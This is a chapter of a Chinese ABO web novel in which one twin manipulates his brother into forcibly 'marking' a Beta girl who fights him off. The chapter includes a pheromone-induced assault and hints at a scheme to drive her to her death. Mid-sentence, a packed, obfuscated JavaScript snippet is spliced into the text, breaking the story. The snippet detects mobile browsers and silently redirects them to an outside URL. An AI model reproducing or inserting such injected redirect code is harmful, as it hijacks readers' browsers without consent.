18.教导

作品:《beta,每天一个黑化修罗场

    祝绪方其实感觉自己和何枝更契合。


    两个人都聪明,性格也更相投,爱好看的书也一致,如果不是在【祝须佐】的身份之下,两个人应该能成为不错的朋友。


    但是问题就在于此。


    何枝完全没意识到他和祝须佐是两个人。


    刚开始很明显的,他和祝须佐之间不一样。


    一个课堂测试做题全错,一个周考能控分到及格。聪明如何枝,祝绪方相信她肯定能看出来两个人的不同——如果何枝想发现的话。


    但是祝绪方发现何枝有一个机制。就是何枝自己不怎么喜欢的人,这个人身上出现再多古怪的事,何枝都是:“!!!居然有这种奇怪的地方!”


    然后转头就忘。


    对【祝须佐】是一样的。何枝第一次看到祝须佐周考及格。


    何枝:!!!提分这么快!有问题吧?!


    然后转头就忘。


    祝绪方:……


    祝绪方倒不至于为此破防,这有什么值得破防的呢,他又不是一定要刷何枝好感度,被何枝分不清他和弟弟也没什么……


    祝绪方有点不爽。


    不被何枝在意的人,根本不会被她记住。


    祝绪方相信自己——如果他是以【祝绪方】的身份接近何枝,他肯定能被何枝记住的,也不是说他想被何枝记住,毕竟他又不是喜欢何枝,只是他觉得自己有这个能力。


    然而,他用的【祝须佐】的身份。


    每当他和何枝相处,笑语盈盈,默契相投,刚把何枝好感刷高。下周他再回来时,何枝已经因为祝须佐做的事对他好感又归零了。


    祝绪方:……


    祝绪方手指深深嵌入书页中。


    有次,在祝家密室书房,祝绪方状似无意地问过一次祝须佐,“你向小枝要的奖励是什么?”


    何枝希望祝须佐能慢慢提分上去,不拉低他们小组均分,她想拿到学校那个进步小组的奖金。


    还完全是少年人的想法。祝须佐是祝家人,那么有钱,何枝发现祝须佐喜欢她,随便利用利用他,勾勾手指,祝须佐就能捧给她一辈子用不完的钱了。


    结果何枝只想利用这点让祝须佐好好学习,别考0分拖他们后腿了。


    每次祝绪方一去替考,就会在考后,考试室外,看到黑发少女有些焦急在门外等她的样子。


    平时那样一个散漫冷淡的人,黑眸在睫毛阴影里不太聚焦,总有种看人不认真的感觉。


    这种时候眼睛里就只有他,眸光一闪一闪的,一会儿别过头犹豫,似乎是觉得问他“发挥得怎么样”会给他压力,一会儿又看他两眼,很认真的样子,问他题都会不会做。


    易如反掌。


    这种程度。


    祝绪方盯着少女发顶。不知道是在想什么易如反掌。


    他看着何枝这个样子感觉有些可爱。他能想象到,在出分之后,何枝看到他成绩进步这样多,会是怎样的模样。


    说不定会“哇!”的一声,抬头露出黑亮亮的眼睛。


    何枝性格安静,但是情感外露,也很会提供情绪价值,经常自己攒钱给小组里的同学买文具做礼物,想激励大家,祝绪方偶尔也收到过几次。


    这是一个不吝于表达夸奖赞美,会露出亮晶晶眼睛看着你的人。


    ……祝绪方想收到何枝的那种眼神。


    但是会收到何枝这种眼神的是祝须佐。


    祝绪方一考完试,就会换成祝须佐回到学校。试是他考的,夸奖是祝须佐得的,连何枝的奖励也是……


    祝绪方抬头,露出祝家继承人那种标准的,温和笑眯眯的笑容。


    “小枝会给你什么奖励?须佐?”


    **


    祝须佐向何枝提的奖励也很普通。


    放学后能给他补课一起做教室待一会儿……中午能一起在食堂吃饭……周末能出去和他一起自习……


    无聊得祝绪方撑着头,笑眯眯的,趁祝须佐不注意又翻了个白眼。


    祝绪方对这些少男少女纯爱互动的东西不感兴趣,再怎么样何枝也不可能会喜欢祝须佐。


    不过祝绪方没说出这话,说出来这会很像他好像在意何枝一样。


    他只是温和地继续诱导祝须佐说出他想做的事。


    “最后呢?”


    “小枝应该很看重这一学年的期末考吧?这是她拿到奖学金的关键。”


    “期末考你想要她的什么奖励呢?”


    祝须佐垂着头。黑发少年就这样硬直地站在阴影里。


    祝绪方天生浅发浅眸,祝须佐天生深发深眸,除此之外,只是看气质的话,也很难将两个人看作是同一个人。也是因此在祝须佐不在祝家时,没有人将他和祝家那个温文尔雅长袖善舞的继承人联系在一起。


    但是就是这样不够聪慧,笨拙孤僻的祝须佐,扮演那位优秀的祝家继承人祝绪方也是很容易的事。


    因为正如祝须佐所说,他和绪方是双子,心念相通,互为半身。


    即使性格能力都迥异,他们也能知道对方在想什么。在对方开口前就知道对方要说什么。


    “标记她?”


    “标记她。”


    祝绪方笑盈盈地抬头,对上祝须佐黑沉沉的眼眸。


    目光对视时,祝须佐愕然了一瞬,似乎察觉了什么,但又不足以完全捕捉。


    祝绪方笑眯眯的,眼里带着点无所谓的杀意,又转瞬即逝。


    ……和之前说的一样。


    祝绪方不喜欢做刻意而为的事。


    一切自然而然就好了。


    稍微改动一些东西,暗示一些东西。让蝴蝶的翅膀振翼。


    “期末考也是要我去的对吧?”


    让一切尽如他祝绪方的意。


    **


    何枝觉得期末前最近的祝须佐有些奇怪。


    这个人平时也很奇怪,不过是那种阴沉沉的,总感觉有些木讷的奇怪。


    不过他每到考试前就会变聪明一点,黑沉的眼眸会变得灵气柔和,平时说话做事好像也更有情商一些。


    比如和她一起走路时让她走内侧,在人群里会手虚靠在她背后帮她挡去人群——


    祝须佐一般不会这样做的。


    祝须佐根本不会绅士手,这个人恨不得随时都能和她肢体接触。


    祝须佐似乎是级别很高的Alpha,即使是何枝这种beta也会闻到他的信息素,是那种有点呛人的,像什么沉香木烧起来的气味。


    像是很多贵族Alpha用的男士木质调香水味。何枝不懂香水,但是她感觉祝须佐带给她的异性感很强。


    就是她在中级学院里,和前世的高中差不多,脑袋里除了高考就是高考,大家在这种环境下像是被抹除了性别。何枝也不太会注意到其他人的性别。


    就算有人对她说喜欢,感觉也像是小孩子的喜欢,那种只要她高兴就可以的单向喜欢。


    但是祝须佐会让她明显感知到他是个Alpha,一个男性Alpha。


    而祝须佐的喜欢也不是无所求的。


    黑发的少年常常盯着她,眸光像沉黏的沼泽,认真得让她不自觉想偏移目光,感觉有些不自在。


    “小枝。”就是这样喊她的名字时,也是直视她的眼睛,倾身,很近地、很认真地喊出她的名字。


    “做对这道题的奖励是什么?”


    祝须佐说话时,吐息几乎喷在了她的下颚,何枝手往后撑着椅子靠背,腰绷紧成反弓后仰想要拉远距离。


    但是椅子被祝须佐按着的。


    祝须佐的手也放在椅背上,就离她绷紧的、青筋略略浮现在白皙皮肤上的手背不远。


    祝须佐前倾,呼吸沉沉,又过于湿润,让她偶尔以为自己正在被他唇齿磨蹭,舔舐皮肤。晃神过来又发现是错觉。


    而且不知道是不是也是何枝的错觉,她感觉祝须佐按在椅背上的手好像在向她的手凑近。


    之前明明应该是有一段距离的。不知道什么时候手指就碰到了,指侧磨蹭。


    在她晕神的一会儿,手背就被按住了,湿冷的掌心盖在她的手背上,错开的指缝被Alpha的手指一根根嵌入,严丝合缝地扣住。


    与手背上的冰凉触感相反,身前相接的吐息是过分滚烫的,包括前倾俯身向她的身体,也带着蒸腾的,挥发着呛人燃木香气的体温。


    何枝就像一个坐了十几个小时车的人,还是坐的那种高档熏香的商务车,晕车得意识模糊,又被呛人的香气包裹着,好像自觉是清醒的,但是整个人已经虚弱得提不起劲。


    如果何枝上生理课时像上文化课一样用心,她应该就会知道她这是被Alpha的信息素影响了。


    不过何枝是特殊的Beta,得天独厚地,她基本不会被Alpha和Omega的信息素影响,同龄人中出现过几次信息素暴动的事,当时大家纷纷瘫软或者逃跑,只有何枝会站在原地不知道发生了什么。


    ……但是祝须佐也是特殊的Alpha。


    黑发少年低头盯着被他拢在身下的Beta少女,他一只手往后把何枝的手按在椅背上,另一只手放在何枝脸侧。


    如果是平时,这样亲密的接触已经能让少女又炸又跳地离他十米远了。只是现在Beta不受控制地被Alpha信息素影响,而她抬头,还是茫然涣散的表情,像是不知道发生了什么。


    祝须佐摸过何枝的眼睫毛,在少女睫毛微颤时低头用嘴唇碰了碰她的睫毛,而后又是摸了摸耳垂,顺着她的脖侧,滑过下颚,落到锁骨上,再磨蹭着往后。


    往后。是Beta腺体的地方。


    何枝对ABO的性别有些钝感。像是总会忘记有这三种性别。当然这也和她对信息素不敏感的体质有关。


    但是Beta也是有腺体的,也是可以被标记的。


    何枝总忘记这点。


    祝须佐低头,嘴唇往下,擦过少女唇侧,然后再往下,湿润地落在她衣领


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442032|183317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,而后……


    “咚——!!!”


    祝须佐猛地后倾倒地。后脑勺刚刚砸地,一个板凳又直朝他砸了过来。


    “砰!!”


    ……


    何枝还没反应过来发生了什么。


    反应过来时就发现自己已经把祝须佐椅子踹倒了,而且手比脑快,下意识抽出祝须佐的椅子朝他砸了过去。


    现在黑发少年正一脑门血,看起来也有些懵地坐在地上按着头。


    何枝愣了下。先下意识看了看教室监控。而后再转过头来看向祝须佐。


    祝须佐正按着左眼,血流从他额头流下,淌过他的左眼,让他视野在血雾里有些看不清楚,不过他指缝间露出的左痣倒因为血液黑得更清晰了些。


    祝须佐坐在地上,模糊看到何枝走过来向他俯身时,以为何枝会像在孤儿院时一样,看到被其他小孩推倒在地的他会向他伸出手把他扶起来。


    祝须佐对何枝的突然袭击并不生气,也没有伤心,不过他此时看着何枝靠近他,还是有些期待。何枝应该那样做的,何枝应该会帮他的。


    何枝之前就是那样做的,现在也应该这样,一直向他伸出手。


    一直……


    何枝向他伸出手——


    手臂擦过他的身侧。少女拿眼镜抛光布擦干净了椅子椅背上的指纹,之后又擦了擦自己鞋面上的血迹,往后退时也记得把鞋印抹掉了。


    “你会把这件事说出去吗?”


    何枝在取监控内存条时终于开口了。


    “……哪件事?”


    “就是你袭击我,我又正当防卫这件事。”何枝恢复清醒后神情还很冷静。


    “如果你不说出去,那我换掉这个监控内存条,我们当这件事不存在。我把原本的监控记录作为留档证据。”


    ……实际上无论何枝是不是正当防卫,击伤祝家人这件事让她就不可能在学校领导老师追责时能逃脱惩罚。


    不过何枝没有说出这点,她只是站在门口,往回看着捂着一只眼站起来的黑发少年。


    祝须佐虽然现在还是少年的年纪,但是身量已经很高了,又是Alpha,压迫感比瘦弱的何枝强多了。


    不过看着站起来朝她走来的祝须佐,何枝脸上并无惧意,她抓过身边另一把椅子,“停步,就保持这个距离,再往前一步我会动手了。”


    “……”


    黑发少年听话停下。他脸上不见生气,也没有伤心,甚至疼痛的表情都没在他脸上出现。只是有一些茫然失落。


    “小枝讨厌我的接近吗?”


    “讨厌。”


    “我应该是喜欢你的。”


    “关我什么事。”


    “你之前那不是喜欢我的表现吗?”


    祝须佐只是疑问。因为祝绪方和他说何枝肯和他说话答应他的要求就是喜欢他了。


    但是这话听在何枝耳中就像是诘问了。她浑身绷紧,回忆了会儿。“我对谁都这样。”


    “对你没特殊的地方,唯一特殊的不过就因为你姓祝不敢太得罪你。”


    头破血流的祝须佐:……


    祝须佐安静地捂着左眼看着何枝,血流不止。


    他其实现在还是迷惑的,迷惑为什么何枝突然生气,他对其他人情感感知能力很弱,只是之前因为他要么有着祝姓加成,要么是扮作祝绪方,并没有需要他去体谅、换位思考别人感受的情况。


    祝须佐就是知道自己这个问题,他也隐隐知道自己这种情况会容易让别人生气,别人倒无所谓,但别人是何枝的话他就有所谓。


    因此和何枝相处,每次他都会让祝绪方做参谋。他信任祝绪方——祝绪方比他长袖善舞,比他会操控感知人心。


    是绪方和他说的,【小枝这样迟钝回避的人,如果不挑破窗户纸,她会一直把你视而不见的。】


    说这话时棕发少年也自己撑着头歪头笑着,他垂着长长的深棕色睫毛,狐狸一样的笑眼盖在睫毛阴影里,有些落寞的气息。


    祝绪方穿着白色的衬衫,衬衫夹紧紧束着他撑着脑袋的那个手臂,衣褶凌厉,搭在脸颊上的手指指骨青筋也很清晰。


    【所以现在就是向她迈出一步最好的时机哦。】


    棕发少年抬头对自己笨拙的弟弟笑道,【现在就是标记她的最好时机哦。】


    祝绪方了解何枝。


    也了解祝须佐。


    在看到祝须佐头破血流地回到祝家后他没有任何意外。而是沉着地,用着婉转的话术进一步诱哄祝须佐去对何枝主动。


    【对小枝再主动一点吧。须佐。】


    再逼迫她一点吧。


    再让她反抗多一点吧。


    祝绪方笑得眯眼时,长而直的睫毛落下阴影,连着笑意也像一场阴雨。


    他在期待一场自然而然的雨。


    自然而然的反抗。


    自然而然的坠楼。


    大雨之后才应该是他这样的太阳出场的时机。不是吗?